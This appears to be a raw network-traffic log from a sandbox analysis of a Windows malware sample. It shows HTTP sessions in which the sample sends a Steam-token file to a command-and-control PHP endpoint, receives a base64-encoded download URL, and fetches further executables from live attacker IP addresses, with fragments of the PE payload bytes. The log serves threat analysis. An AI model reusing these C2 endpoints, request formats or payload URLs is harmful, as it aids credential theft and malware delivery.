Nov 18, 2024 15:17:10.910444021 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Nov 18, 2024 15:17:11.679336071 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:17:11.728144884 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"ybncbhylepme------BKKJDBFBKKJEBFHJEHJD--
Nov 18, 2024 15:17:12.009892941 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49829	185.215.113.16	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:17:12.020209074 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 18, 2024 15:17:12.915633917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:17:12 GMT Content-Type: application/octet-stream Content-Length: 1922048 Last-Modified: Mon, 18 Nov 2024 14:01:13 GMT Connection: keep-alive ETag: "673b48a9-1d5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@KFB@WkHKK @.rsrcH@.idata @ *@kjkktqrf@p18@smoqjeteK.@.taggant0K"2@
Nov 18, 2024 15:17:12.915658951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:17:12.915671110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:17:12.915682077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:17:12.915693045 CET	1236	IN	Data Raw: e8 fb d0 d1 a5 69 00 08 46 9e e4 cd e1 a2 62 a4 96 8a 48 0d 1f 38 0d bc b3 18 69 f2 a8 bc 60 9d 54 00 f2 b6 55 c0 dc 91 a9 c5 c4 8b 35 97 d1 a5 05 c8 20 52 fa a6 8d 28 57 c7 50 21 af e9 60 a8 35 3c b4 fc cd 85 84 bd a3 09 5f 8b 75 c7 98 ff a6 25 Data Ascii: iFbH8i`TU5 R(WP!`5<_u%P5<bRQxOOi]ia`_h`T\\RG5M`?M5<\NeH1R_hhUqPsQ}?<d<8,`=mR
Nov 18, 2024 15:17:12.915704012 CET	1236	IN	Data Raw: 38 fc 36 82 79 14 91 cb 9d e0 24 53 d1 95 e3 46 16 fa 5c 55 a7 39 04 ca 26 b3 60 5d 32 40 fd 91 25 9a b8 f9 73 60 68 34 34 de 0c 01 0f bc 80 e1 81 19 e0 e8 ab 09 64 8e 8d ba dd 40 a8 e8 e4 9d 55 fc 6a 01 96 50 1a ac d1 0d 60 59 86 7d 44 f1 1f 17 Data Ascii: 86y$SF\U9&`]2@%s`h44d@UjP`Y}Dh@'"HC4Tw6Pp-:OkLw41$pp%WK7A,_[n@xDj4(8y=DJ;=7P7V@m<!2n^
Nov 18, 2024 15:17:12.915715933 CET	1236	IN	Data Raw: ba d1 05 66 6e cf 04 c8 69 c5 87 0f a7 97 28 bf d0 2d f2 b1 1c 4c 2b 62 09 a2 35 5e 5e ca 28 87 7a 77 0f a3 69 9d 51 ec 5d e7 64 de 48 24 4b cb 37 50 06 7f 21 bd e6 02 67 60 f4 8b ca 6c b2 7d 21 9f ca 1a 27 24 44 dd 80 1b c8 db 6d ab 09 c8 d9 dc Data Ascii: fni(-L+b5^^(zwiQ]dH$K7P!g`l}!'$Dmq%6ABeTgk=d+U<PaV}ES3~F1?CoiHmNiglBd0g!FISma+XQ46IP0BDfG=w4
Nov 18, 2024 15:17:12.915731907 CET	984	IN	Data Raw: d0 62 5b 43 a4 20 ca 02 92 bc bc 29 d1 82 8d e4 0d ab d6 ee 57 30 62 3d a7 42 dc 70 84 05 38 48 8a c4 31 44 b8 28 b6 ed 02 24 fc c1 c9 6f 9c e5 ad 38 69 3a 14 de 5b 8f 52 f5 d4 c7 80 7d 85 1c a4 0a 96 bc 97 42 79 46 a7 7c 69 04 6c a1 2b 03 13 d3 Data Ascii: b[C )W0b=Bp8H1D($o8i:[R}ByF\|il+1GGMS?@P3pW69u1xiW<Oo`ANGTAnf#a$ignXY_PS=UKN/8?6I
Nov 18, 2024 15:17:12.915779114 CET	1236	IN	Data Raw: a0 09 06 de 06 ff 5f b1 97 32 82 44 f0 c8 96 b1 29 89 55 d7 b7 88 11 ee 50 3c 70 cc 66 9a 70 6b ae d4 d3 43 78 aa b4 dc 0e db 30 82 73 64 a7 4d 3a e8 1a b7 d5 01 70 bd 8c 03 25 26 cc 50 55 53 e6 6e 29 de 3d d4 85 f9 c5 cc 01 c9 4b 41 6f d9 8e 9b Data Ascii: _2D)UP<pfpkCx0sdM:p%&PUSn)=KAoL$gq73*x<W>]P(SpB~XWut\|P2\|_sCh4HvFS?gf,O>W{Lhyai5?@<m;aH
Nov 18, 2024 15:17:12.915807962 CET	1236	IN	Data Raw: 0b 2b 50 72 48 af 87 c6 52 9d 6b 07 d5 bb b3 ec 0c 07 b9 3e 57 98 79 cb 26 65 0a ef 46 ef 6e 32 2a 8a 15 45 c5 92 1f 1a 44 ef 3c c3 03 b2 50 d8 36 eb 8a 13 37 88 bf d0 02 91 b7 e9 70 88 f8 0a 49 0d 8f cd 64 77 2a cd 0b c9 02 0e 66 bd f0 c9 95 f8 Data Ascii: +PrHRk>Wy&eFn2ED<P67pIdwf^8K@^3lo8AGzEttdqQ,P2Q1?UB=8Uf?l(P{&K\|9HF-0?eiAuT/c~\@/Lh
Nov 18, 2024 15:17:12.920831919 CET	1236	IN	Data Raw: 75 40 30 38 c5 68 04 32 b8 ff 79 c5 84 68 d1 10 a8 2d 89 70 36 37 90 6e ce 3b 44 35 f3 ce 1a a1 8a 94 84 e0 0e 3a 35 1f 27 f2 61 ca c9 31 59 ad 03 c9 49 05 85 ee 0a f0 f4 bc f6 d5 49 55 53 8d 45 a3 bf 0b fe 1c aa 83 50 38 b8 cc 56 77 36 d1 6c 60 Data Ascii: u@08h2yh-p67n;D5:5'a1YIIUSEP8Vw6l`aMKTM~A`/?GWL"t]o6]`=[I7LjJhz<\|Ym@HkNG%BkAYDT*Cj=uI$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49836	185.215.113.206	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:17:18.164274931 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKEHIEBKJKFIEBGDGDAA--
Nov 18, 2024 15:17:19.570008039 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49845	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:05.251291990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 15:18:06.169872999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49846	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:07.686815977 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 18, 2024 15:18:08.609092951 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 31 37 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 31 37 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 31 37 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 31 37 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007170001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007171001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007172001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007173001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007174001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49847	31.41.244.11	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:08.617985010 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 15:18:09.525578976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:09 GMT Content-Type: application/octet-stream Content-Length: 4385792 Last-Modified: Mon, 18 Nov 2024 12:48:19 GMT Connection: keep-alive ETag: "673b3793-42ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 d0 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 b9 00 00 04 00 00 45 d4 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 b2 b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b2 b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@EC@ _pesT Pel'@.rsrc `e\|'@.idata pe\|'@ 7e~'@htytndphPpD'@bowzeileB@.taggant0"B@
Nov 18, 2024 15:18:09.525621891 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:09.525671959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:09.525703907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:09.525732994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 15:18:09.525762081 CET	636	IN	Data Raw: 31 d2 4b a1 a8 b2 88 5d 8d ff 89 64 74 17 8d 00 0c a6 41 f5 da 7e 1b 60 a0 a5 33 2b b9 c3 a5 58 e9 3e 9c c2 38 18 45 e0 cd fb 9b 1a f8 05 30 68 30 63 d0 0a 24 92 e8 f9 95 9e 7a 70 a3 14 0b d9 f1 7b c7 86 e3 2d 00 f1 5e fa df 99 0b d6 e6 37 e1 65 Data Ascii: 1K]dtA~`3+X>8E0h0c$zp{-^7e608cA\|{pbgzRi`unltHv%`IvIx8+!0q*&'RGlCjXv,Cd}xR}1$ ; @x8]1\`xq'?3> e~ylw
Nov 18, 2024 15:18:09.525790930 CET	1236	IN	Data Raw: dc 26 08 60 da 45 0b 96 ff f1 87 77 ac f4 36 13 e4 bb 9c 43 e4 67 a5 60 f4 4d 3e 25 12 6f ea f8 90 7b 1e 88 dc 7b 9c f5 ea ef b8 e6 2c 39 e1 fa d7 72 ea ce 13 be 69 37 6e 02 c9 72 f8 35 4f 75 f4 2b 5a b5 31 34 43 00 4a 23 53 35 3f 94 0f e7 2d 3e Data Ascii: &`Ew6Cg`M>%o{{,9ri7nr5Ou+Z14CJ#S5?->)Jp)\|ba;}L8#z@pt@t4WLfq;]kf&vaK6h'$.B\|9[uq2t&\N,=#wRM+ah
Nov 18, 2024 15:18:09.525823116 CET	212	IN	Data Raw: 25 3c 98 be 55 c8 c4 f9 d0 ed 5c 89 9b 11 8f 28 09 74 f7 0a 73 43 68 fa 44 30 9d cc f9 e8 10 54 f0 42 e9 12 ea 7d 01 f8 b3 39 97 d5 e4 ba 3a ed 62 ea 2d c6 71 e6 57 c6 67 7f af 55 3a 19 df e2 e1 bb d3 88 7b 1b cb 34 ea f1 12 09 2c 93 06 98 95 ad Data Ascii: %<U\(tsChD0TB}9:b-qWgU:{4,$Te)B7$I+E]f:k*GmM\|BSyT{azstik$cB(j"I/;^hp{X:
Nov 18, 2024 15:18:09.525850058 CET	1236	IN	Data Raw: 3b c2 33 cc a8 e1 f3 7a d9 b7 d8 92 45 7d 91 ce c0 8a 15 05 41 d6 e2 0c 8e 6e fd e2 e5 9c 29 44 80 4c 3b 34 3c 67 9f 6c 71 c2 1c 8e 43 91 fa ca a4 a2 32 53 2a fb b7 85 3c 0d 29 8d e4 9f b7 a1 00 84 10 e7 15 fd 67 0d b4 71 97 94 ce 72 b0 83 9b f7 Data Ascii: ;3zE}An)DL;4<glqC2S*<)gqr\Sd$sk>8ym-TT@ Ay5$bQBnkrU8x-m~,-20c%-jP+[vG]s!+8aoz7fgC@}]i4!7}_p
Nov 18, 2024 15:18:09.525882006 CET	1236	IN	Data Raw: 28 81 82 3c 7a c1 1a 12 3b 95 05 d1 c1 fd 16 23 c9 68 31 db b5 64 cd 8d 3b 44 af ec ea 23 1e ef 35 68 13 16 1a c1 b5 02 3d f3 36 f1 14 ac 24 29 89 e8 26 27 8c 9c 97 f6 7d 83 ea 3d 75 6a 1f 01 5e 3c e8 ac ac 63 de 94 ac e8 1a 32 19 9e a6 d1 be a2 Data Ascii: (<z;#h1d;D#5h=6$)&'}=uj^<c2;`C-?Q#C`&l~J'+4FFJ0l{3:4``i:*}U'^bUy+v[)&dl@.R
Nov 18, 2024 15:18:09.531330109 CET	1236	IN	Data Raw: 59 f1 6b 28 b9 2f a9 89 9c 7b a6 84 c5 a7 01 c7 52 92 e6 03 e5 af 1e 6b ab 16 a1 cb 22 69 3f f6 b0 00 72 f9 e9 d4 74 99 4b 02 a4 aa 28 fd dc fe 12 dc 88 9a 5a 54 f8 b0 22 d9 50 d7 ca c2 f6 a1 fe f3 a2 4a 28 49 a7 6a 26 22 50 c6 2b 3e 26 8a e9 86 Data Ascii: Yk(/{Rk"i?rtK(ZT"PJ(Ij&"P+>&X&nd"$S #L)Pz&g]LdLECACk3Iq4:`+K@kTy<L/Bcp1kD"2wvh]$~C1)d85x{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49849	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:18.857235909 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 31 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007170001&unit=246122658369
Nov 18, 2024 15:18:19.790174007 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 14:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49850	185.215.113.16	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:18:19.800615072 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
